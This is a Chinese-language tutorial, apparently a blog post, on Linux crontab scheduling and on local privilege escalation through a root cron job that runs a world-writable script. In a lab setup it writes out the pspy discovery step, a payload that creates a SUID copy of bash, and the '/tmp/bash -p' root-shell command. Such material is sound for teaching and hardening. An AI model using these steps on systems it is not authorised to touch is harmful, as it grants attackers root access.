目录
实验环境:ubuntu 20.4
一、Crontab介绍
通过 crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 shell script 脚本。时间间隔的单位可以是分钟、小时、日、月、周的任意组合。
这里看一看crontab 的格式:
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
ubuntu中crontab默认启动了,可以通过下面这条命令查看cron 是否成功的在后台启动,启动了就会自动检测任务执行
ps aux | grep cron
可以通过下面列出存在的计划任务,如下不存在计划任务
crontab -l
接着我们添加一条计划任务,通过crontab -e 打开文件,将计划任务加进去。第一次打开会让我们选择一个默认的编辑器。这里我们添加如下计划任务,意思为每隔一分钟在当前用户的家目录下创建一个1.txt的文件,写好后保存。其任务会自动执行
然后通过crontab -l 可以列出当前的计划任务,接着每隔一分钟就创建一个1.txt文件。
ps:计划任务仅在当前用户下有效,各用户的计划任务互不影响。
crontab -e 与 vim /etc/crontab
我们不仅可以通过crontab -e 来添加计划任务也可以通过vim /etc/crontab来添加计划任务
修改/etc/crontab这种方法只有root用户能用(但实际上经测试别的用户也能用,虽然添加任务时显示只读,但是可以强制保存),这种方法更加方便与直接,直接给其他用户设置计划任务,而且还可以指定执行shell等等,
crontab -e这种所有用户都可以使用,普通用户也只能为自己设置计划任务。然后自动写入/var/spool/cron/usename
详细可看——> crontab使用以及/etc/crontab文件和crontab -e命令区别
二、Crontab提权
如果root用户通过crontab -e 或者 vim /etc/crontab添加了计划任务,计划任务中存在脚本文件,且其他用户有可写的权限,则我们可以利用计划任务进行提权。
1. root用户添加计划任务
vim /etc/crontab
*/1 * * * * root sh /test.sh >> /tmp/test.txt
意思为每隔一分钟执行test.sh脚本文件并输出到 /tmp/test.txt中
test.sh文件内容如下
#! /bin/bash
echo "hello world! "
漏洞的利用条件就是test.sh其他用户有写权限
环境准备好了,该计划任务也立即生效。我们切换到普通用户,开始进行提权操作
2. pspy检测进程
pspy是一种命令行工具,无需root权限即可监听进程。可以查看其他用户执行的命令、cron作业等。
下载地址:pspy工具 ,点击进行下载
下载完之后,放到linux中,执行./pspy64。我们监测到如下进程,脚本test.sh以root权限运行(UID=0)
我们查看test.sh的权限,发现普通户用有写入的权限,即我也可以写入
于是我们使用vim /test.sh写入如下命令,脚本的意思为复制/bin/bash到/tmp/bash并赋予SUID权限,这里实际上就是利用的suid提权 ——> Linux下SUID提权方法
cp /bin/bash /tmp/bash; chmod +s /tmp/bash
保存的时候会提示只读,这里强制保存
:w !sudo tee %
然后接着就会在/tmp下创建一个拥有suid权限的bash文件
进行suid提权
/tmp/bash -p
即可获取root权限
总结
如果计划任何中存在root权限执行的脚本,并且脚本其他用户拥有写入权限则可以通过计划任务提权